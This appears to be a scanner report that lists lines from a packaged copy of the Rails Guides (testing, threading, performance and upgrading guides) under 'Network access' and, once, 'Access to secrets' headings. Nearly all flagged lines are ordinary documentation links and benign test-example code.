    [`assert_response(type, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response
  • Network accessline 455
    [`assert_redirected_to(options = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to
  • Network accessline 456
    [`assert_queries_count(count = nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_count
  • Network accessline 457
    [`assert_no_queries(include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries
  • Network accessline 458
    [`assert_queries_match(pattern, count: nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_match
  • Network accessline 459
    [`assert_no_queries_match(pattern, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries_match
  • Network accessline 460
    [`assert_error_reported(class) { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_error_reported
  • Network accessline 461
    [`assert_no_error_reported { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_no_error_reported
  • Network accessline 471
    * [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html)
  • Network accessline 472
    * [`ActionMailer::TestCase`](https://api.rubyonrails.org/classes/ActionMailer/TestCase.html)
  • Network accessline 473
    * [`ActionView::TestCase`](https://api.rubyonrails.org/classes/ActionView/TestCase.html)
  • Network accessline 474
    * [`ActiveJob::TestCase`](https://api.rubyonrails.org/classes/ActiveJob/TestCase.html)
  • Network accessline 475
    * [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html)
  • Network accessline 476
    * [`ActionDispatch::SystemTestCase`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html)
  • Network accessline 477
    * [`Rails::Generators::TestCase`](https://api.rubyonrails.org/classes/Rails/Generators/TestCase.html)
  • Network accessline 482
    TIP: For more information on `minitest`, refer to the [minitest documentation](http://docs.seattlerb.org/minitest).
  • Network accessline 483
    documentation](http://docs.seattlerb.org/minitest).
  • Network accessline 621
    Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the [Fixtures API documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
  • Network accessline 623
    documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
  • Network accessline 639
    [YAML](https://en.wikipedia.org/wiki/YAML) is a human-readable data serialization language.
  • Network accessline 696
    will auto-assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
  • Network accessline 698
    documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
  • Network accessline 739
    [image/png]:     https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types
  • Network accessline 740
    https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types
  • Network accessline 770
    PostgreSQL, only superusers can disable all triggers. Read more about [permissions in the PostgreSQL docs](https://www.postgresql.org/docs/current/sql-altertable.html)).
  • Network accessline 772
    docs](https://www.postgresql.org/docs/current/sql-altertable.html)).
  • Network accessline 816
    The method [`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction)
  • Network accessline 817
    [`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction)
  • Network accessline 873
    Model tests don't have their own superclass like `ActionMailer::TestCase`. Instead, they inherit from [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html).
  • Network accessline 875
    [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html).
  • Network accessline 963
    get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }
  • Network accessline 1099
    # setting a CGI variable get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable
  • Network accessline 1100
    get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable
  • Network accessline 1307
    Here the test is inheriting from [`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html).
  • Network accessline 1308
    [`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html).
  • Network accessline 1404
    * [`ActionDispatch::Integration::Runner`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html)
  • Network accessline 1408
    * [`ActionDispatch::Integration::RequestHelpers`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html)   for performing requests.
  • Network accessline 1411
    * [`ActionDispatch::TestProcess::FixtureFile`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html)
  • Network accessline 1414
    * [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html)
  • Network accessline 1422
    does this by running tests in either a real or a headless browser (a browser which runs in the background without opening a visible window). System tests use [Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood.
  • Network accessline 1424
    [Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood.
  • Network accessline 1504
    If you want to change the default settings, you can change what the system tests are "driven by". If you want to change the driver from Selenium to Cuprite, you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your
  • Network accessline 1505
    are "driven by". If you want to change the driver from Selenium to Cuprite, you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your `Gemfile`. Then in your `application_system_test_case.rb` file you'd do the
  • Network accessline 1506
    you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your
  • Network accessline 1545
    If you want to use a remote browser, e.g. [Headless Chrome in Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote
  • Network accessline 1546
    Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote
  • Network accessline 1552
    class ApplicationSystemTestCase < ActionDispatch::SystemTestCase   url = ENV.fetch("SELENIUM_REMOTE_URL", nil)
  • Network accessline 1553
    url = ENV.fetch("SELENIUM_REMOTE_URL", nil)
  • Network accessline 1566
    $ SELENIUM_REMOTE_URL=http://localhost:4444/wd/hub bin/rails test:system
  • Network accessline 1569
    If your application is remote, e.g. within a Docker container, Capybara needs more input about how to [call remote servers](https://github.com/teamcapybara/capybara#calling-remote-servers).
  • Network accessline 1571
    servers](https://github.com/teamcapybara/capybara#calling-remote-servers).
  • Network accessline 1577
    setup do       Capybara.server_host = "0.0.0.0" # bind to all interfaces       Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present?
  • Network accessline 1578
    Capybara.server_host = "0.0.0.0" # bind to all interfaces       Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present?     end
  • Network accessline 1579
    Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present?
  • Network accessline 1592
    Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup) for additional
  • Network accessline 1593
    documentation](https://github.com/teamcapybara/capybara#setup) for additional
  • Network accessline 1709
    Here's an extract of the assertions provided by [`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
  • Network accessline 1710
    [`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
  • Network accessline 1726
    The [`ScreenshotHelper`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html)
  • Network accessline 1727
    [`ScreenshotHelper`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html)
  • Network accessline 1844
    For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
  • Network accessline 1846
    [`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
  • Network accessline 1901
    assert_dom_equal '<a href="http://www.further-reading.com">Read more</a>',
  • Network accessline 1902
    link_to("Read more", "http://www.further-reading.com")
  • Network accessline 1905
    For more advanced usage, refer to the [`rails-dom-testing` documentation](https://github.com/rails/rails-dom-testing).
  • Network accessline 1906
    documentation](https://github.com/rails/rails-dom-testing).
  • Network accessline 1909
    `ActionView::TestCase` declare a `document_root_element` method that returns the rendered content as an instance of a [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html):
  • Network accessline 1911
    [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html):
  • Network accessline 1925
    If your application depends on [Nokogiri >= 1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or
  • Network accessline 1926
    1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or
  • Network accessline 1927
    higher, and [minitest >= 5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-), `document_root_element` supports [Ruby's Pattern
  • Network accessline 1928
    5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-),
  • Network accessline 1930
    Matching](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):
  • Network accessline 1946
    If you'd like to access the same [Capybara-powered Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
  • Network accessline 1947
    Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
  • Network accessline 1989
    To transform the `String` content returned by the `rendered` method into an object, define a parser by calling [`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser).
  • Network accessline 1990
    object, define a parser by calling [`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser). Calling `register_parser :rss` defines a `rendered.rss` helper method. For
  • Network accessline 1991
    [`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser).
  • Network accessline 2010
    * `:html` - returns an instance of   [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html)
  • Network accessline 2011
    [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html)
  • Network accessline 2013
    [ActiveSupport::HashWithIndifferentAccess](https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html)
  • Network accessline 2033
    [rails-dom-testing]: https://github.com/rails/rails-dom-testing
  • Network accessline 2034
    [RSS content]: https://www.rssboard.org/rss-specification
  • Network accessline 2216
    When testing multi-part emails with both HTML *and* text parts, use the [`assert_part`](https://api.rubyonrails.org/classes/ActionMailer/TestCase/Behavior.html#method-i-assert_part)
  • Network accessline 2217
    [`assert_part`](https://api.rubyonrails.org/classes/ActionMailer/TestCase/Behavior.html#method-i-assert_part)
  • Network accessline 2218
    assertion. When testing emails with HTML parts, use the assertions provided by [Rails::Dom::Testing](https://github.com/rails/rails-dom-testing).
  • Network accessline 2391
    above](#testing-enqueued-emails)) or `assert_enqueued_emails` methods. More information can be found in the [documentation](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html).
  • Network accessline 2393
    [documentation](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html).
  • Network accessline 2429
    [`perform_enqueued_jobs`]:     https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs
  • Network accessline 2430
    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs
  • Network accessline 2431
    [`perform_later`]:     https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later [`perform_now`]:
  • Network accessline 2432
    https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later
  • Network accessline 2434
    https://api.rubyonrails.org/classes/ActiveJob/Execution/ClassMethods.html#method-i-perform_now
  • Network accessline 2464
    [`ActiveJob::TestHelper`]:     https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html
  • Network accessline 2465
    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html
  • Network accessline 2467
    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-assert_enqueued_with
  • Network accessline 2511
    [`file_fixture_upload`]: https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload
  • Network accessline 2632
    # ...   parallelize_teardown do |i|     FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  • Network accessline 2633
    parallelize_teardown do |i|     FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)   end
  • Network accessline 2634
    FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  • Network accessline 2644
    # test_helper.rb Minitest.after_run do   FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  • Network accessline 2645
    Minitest.after_run do   FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) end
  • Network accessline 2646
    FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  • Network accessline 2650
    [fixtures]: testing.html#fixtures [`ActiveStorage::FixtureSet`]: https://api.rubyonrails.org/classes/ActiveStorage/FixtureSet.html
  • Network accessline 2651
    [`ActiveStorage::FixtureSet`]: https://api.rubyonrails.org/classes/ActiveStorage/FixtureSet.html
  • Network accessline 2727
    See the API documentation for [`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Connection/TestCase.html)
  • Network accessline 2728
    [`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Connection/TestCase.html)
  • Network accessline 2772
    See the API documentation for [`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Channel/TestCase.html)
  • Network accessline 2773
    [`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Channel/TestCase.html)
  • Network accessline 2779
    the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActionCable::TestHelper`](https://api.rubyonrails.org/classes/ActionCable/TestHelper.html).
  • Network accessline 2781
    [`ActionCable::TestHelper`](https://api.rubyonrails.org/classes/ActionCable/TestHelper.html).
  • Network accessline 3073
    [travel_to]:     https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to
  • Network accessline 3074
    https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to
  • Network accessline 3076
    https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html

packages/autoskills/skills-registry/rails-guides/references/threading_and_code_execution.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 91
    Each thread should be wrapped before it runs application code, so if your application manually delegates work to other threads, such as via `Thread.new` or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby)
  • Network accessline 92
    application manually delegates work to other threads, such as via `Thread.new` or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby) features that use thread pools, you should immediately wrap the block:
  • Network accessline 93
    or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby)
  • Network accessline 131
    Like the Executor, the [Reloader](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html) also
  • Network accessline 132
    [Reloader](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html) also
  • Network accessline 175
    Often, additional reloading actions need to be performed either just before or just after the "class unload", so the Reloader also provides [`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-bef
  • Network accessline 176
    just after the "class unload", so the Reloader also provides [`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-before_class_unload) and
  • Network accessline 177
    [`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-before_class_unload)
  • Network accessline 178
    and [`after_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-after_class_unload) callbacks.
  • Network accessline 179
    [`after_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-after_class_unload)
  • Network accessline 199
    [`ActionDispatch::Executor`](https://api.rubyonrails.org/classes/ActionDispatch/Executor.html)
  • Network accessline 200
    and [`ActionDispatch::Reloader`](https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html) are Rack middlewares that wrap requests with a supplied Executor or Reloader,
  • Network accessline 201
    [`ActionDispatch::Reloader`](https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html) are Rack middlewares that wrap requests with a supplied Executor or Reloader, respectively. They are automatically included in the default applic

packages/autoskills/skills-registry/rails-guides/references/tuning_performance_for_deployment.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 21
    This guide assumes you are running [MRI](https://ruby-lang.org), the canonical implementation of Ruby also known as
  • Network accessline 57
    [CRuby](https://www.ruby-lang.org/en/) has a [Global Interpreter Lock](https://en.wikipedia.org/wiki/Global_interpreter_lock),
  • Network accessline 79
    The way to achieve true parallelism with Ruby is to use multiple processes. As long as there is a free CPU core, Ruby processes don't have to wait on one another before resuming execution after an I/O operation is complete. However, process
  • Network accessline 80
    processes don't have to wait on one another before resuming execution after an I/O operation is complete. However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), so one addi
  • Network accessline 81
    However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write),
  • Network accessline 100
    Another thing to consider is that Ruby memory usage benefits from economies of scale thanks to [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write).
  • Network accessline 101
    [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write).
  • Network accessline 129
    Recent Ruby versions come with a [Just-in-time compiler](https://en.wikipedia.org/wiki/Just-in-time_compilation)
  • Network accessline 130
    called [`YJIT`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md).
  • Network accessline 137
    by default. Older versions of Rails or Ruby have to enable it manually, please refer to the [`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md) about how to do it.
  • Network accessline 139
    [`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md) about how to do it.
  • Network accessline 141
    If the extra memory usage is a problem, before entirely disabling YJIT, you can try tuning it to use less memory via [the `--yjit-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md#decreasing---yjit-mem-size).
  • Network accessline 142
    [the `--yjit-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md#decreasing---yjit-mem-size).
  • Network accessline 146
    Because of how the default memory allocator works on most Linux distributions, running Puma with multiple threads can lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentatio
  • Network accessline 147
    lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentation_\(computing\)).
  • Network accessline 150
    To alleviate this problem, it is highly recommended to configure Ruby to use an alternative memory allocator: [jemalloc](https://github.com/facebook/jemalloc).
  • Network accessline 151
    [jemalloc](https://github.com/facebook/jemalloc).
  • Network accessline 183
    [Percentile](https://en.wikipedia.org/wiki/Percentile_rank) latency gives the latency where a certain percentage of requests have better latency than that.
  • Network accessline 199
    If your production environment includes more than one server, it can be a good idea to do [A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there.
  • Network accessline 200
    [A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there.
  • Network accessline 242
    You have enough warmup requests when increasing the number does not significantly change your result. [The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are
  • Network accessline 243
    [The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are

packages/autoskills/skills-registry/rails-guides/references/upgrading_ruby_on_rails.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 53
    You can find a list of all released Rails gems [here](https://rubygems.org/gems/rails/versions).
  • Network accessline 121
    Active Record now alphabetically sorts table columns in `schema.rb` by default, so dumps are consistent across machines and don’t flip-flop with migration order -- meaning fewer noisy diffs. `structure.sql` can still be leveraged to preserv
  • Access to secretsline 205
    [Credential-related source omitted]
  • Network accessline 324
    See the [caching with Rails](https://guides.rubyonrails.org/v7.1/caching_with_rails.html#connection-pool-options) guide for more information.
  • Network accessline 332
    it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quot
  • Network accessline 334
    See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.
  • Network accessline 379
    Alternatively, you can customize the `I18n.exception_handler`. See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information.
  • Network accessline 380
    See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information.
  • Network accessline 391
    See the [Testing Rails Applications](https://guides.rubyonrails.org/testing.html#running-tests-in-continuous-integration-ci) guide for more information.
  • Network accessline 452
    [assert_match]: https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_match
  • Network accessline 483
    In addition, a new configuration [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](configuring.html#config-active-record-encryption-support-sha1-for-non-deterministic-encryption) was introduced to resolve [a 
  • Network accessline 484
    was introduced to resolve [a bug](https://github.com/rails/rails/issues/42922) that caused some attributes to be
  • Network accessline 556
    Applications still running in `classic` mode have to switch to `zeitwerk` mode. Please check the [Classic to Zeitwerk HOWTO](https://guides.rubyonrails.org/v7.0/classic_to_zeitwerk_howto.html) guide for details.
  • Network accessline 594
    If you still get this warning in the logs, please check the section about autoloading when the application boots in the [autoloading guide](https://guides.rubyonrails.org/v7.0/autoloading_and_reloading_constants.html#autoloading-when-the-ap
  • Network accessline 987
    The default HTTP status code used in `ActionDispatch::SSL` when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to `308` as defined in https://tools.ietf.org/html/rfc7538.
  • Network accessline 991
    When processing variants in Active Storage, it's now required to have the [image_processing gem](https://github.com/janko/image_processing) bundled instead of directly using `mini_magick`. Image Processing is configured by default to use `m
  • Network accessline 1015
    More information about this change and details about the API changes can be found [in this PR](https://github.com/rails/rails/pull/32313).
  • Network accessline 1016
    found [in this PR](https://github.com/rails/rails/pull/32313).
  • Network accessline 1025
    [Webpacker](https://github.com/rails/webpacker)
  • Network accessline 1159
    enables `zeitwerk` autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by [Zeitwerk](https://github.com/fxn/zeitwerk).
  • Network accessline 1460
    Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313).
  • Network accessline 1592
    See [#17227](https://github.com/rails/rails/pull/17227) for more details.
  • Network accessline 1609
    See [#19034](https://github.com/rails/rails/pull/19034) for more details.
  • Network accessline 1628
    See [#26404](https://github.com/rails/rails/issues/26404) for more details.
  • Network accessline 1723
    See [#18411](https://github.com/rails/rails/pull/18411) for more details.
  • Network accessline 1755
    # This is a work-around for streamed controllers performing authentication with Warden/Devise. # See https://github.com/plataformatec/devise/issues/2332
  • Network accessline 1756
    # See https://github.com/plataformatec/devise/issues/2332
  • Network accessline 1923
    See [#16526](https://github.com/rails/rails/pull/16526) for more details.
  • Network accessline 1943
    See [#14488](https://github.com/rails/rails/pull/14488) and
  • Network accessline 1944
    [#16537](https://github.com/rails/rails/pull/16537) for more details.
  • Network accessline 2017
    There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of [`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).
  • Network accessline 2019
    [`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).
  • Network accessline 2024
    This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which
  • Network accessline 2028
    The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for powerful scrubbing. [See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).
  • Network accessline 2030
    [See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).
  • Network accessline 2032
    Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`. Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.
  • Network accessline 2033
    Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.
  • Network accessline 2046
    The [`TagAssertions` module](https://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e
  • Network accessline 2140
    NOTE: User defined rake tasks will run in the `development` environment by default. If you want them to run in other environments consult the [Spring README](https://github.com/rails/spring#rake).
  • Network accessline 2142
    [Spring README](https://github.com/rails/spring#rake).
  • Network accessline 2220
    Flash message keys are [normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
  • Network accessline 2221
    [normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
  • Network accessline 2244
    MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
  • Network accessline 2253
    WARNING: Do not simply replace `MultiJson.load` with `JSON.load` as that API is meant for deserializing arbitrary Ruby objects and is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load).
  • Network accessline 2254
    `JSON.load` as that API is meant for deserializing arbitrary Ruby objects and is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load). Prefer to use `JSON.parse`.
  • Network accessline 2255
    is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load).
  • Network accessline 2293
    If your application depends on one of these features, you can get them back by adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
  • Network accessline 2294
    adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
  • Network accessline 2349
    See [this pull request](https://github.com/rails/rails/pull/13271) for more
  • Network accessline 2585
    For more on PATCH and why this change was made, see [this post](https://rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates)
  • Network accessline 2590
    The errata for the `PATCH` verb [specifies that a 'diff' media type should be used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
  • Network accessline 2591
    used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
  • Network accessline 2592
    such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails
  • Network accessline 2616
    As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
  • Network accessline 2617
    Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification.
  • Network accessline 2618
    [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
  • Network accessline 2639
    * Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your applicatio
  • Network accessline 2650
    * Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
  • Network accessline 2684
    * To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
  • Network accessline 2702
    Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`.
  • Network accessline 2733
    Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
  • Network accessline 2798
    * Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `confi
  • Network accessline 2845
    The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/v4.0/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.

packages/autoskills/skills-registry/rails-guides/references/working_with_javascript_in_rails.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 23
    [Import maps](https://github.com/rails/importmap-rails) let you import JavaScript modules using
  • Network accessline 28
    Applications using import maps do not need [Node.js](https://nodejs.org/en/) or
  • Network accessline 29
    [Yarn](https://yarnpkg.com/) to function. If you plan to use Rails with `importmap-rails` to
  • Network accessline 68
    Import maps are the default for new Rails applications, but if you prefer traditional JavaScript bundling, you can create new Rails applications with your choice of [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/),
  • Network accessline 69
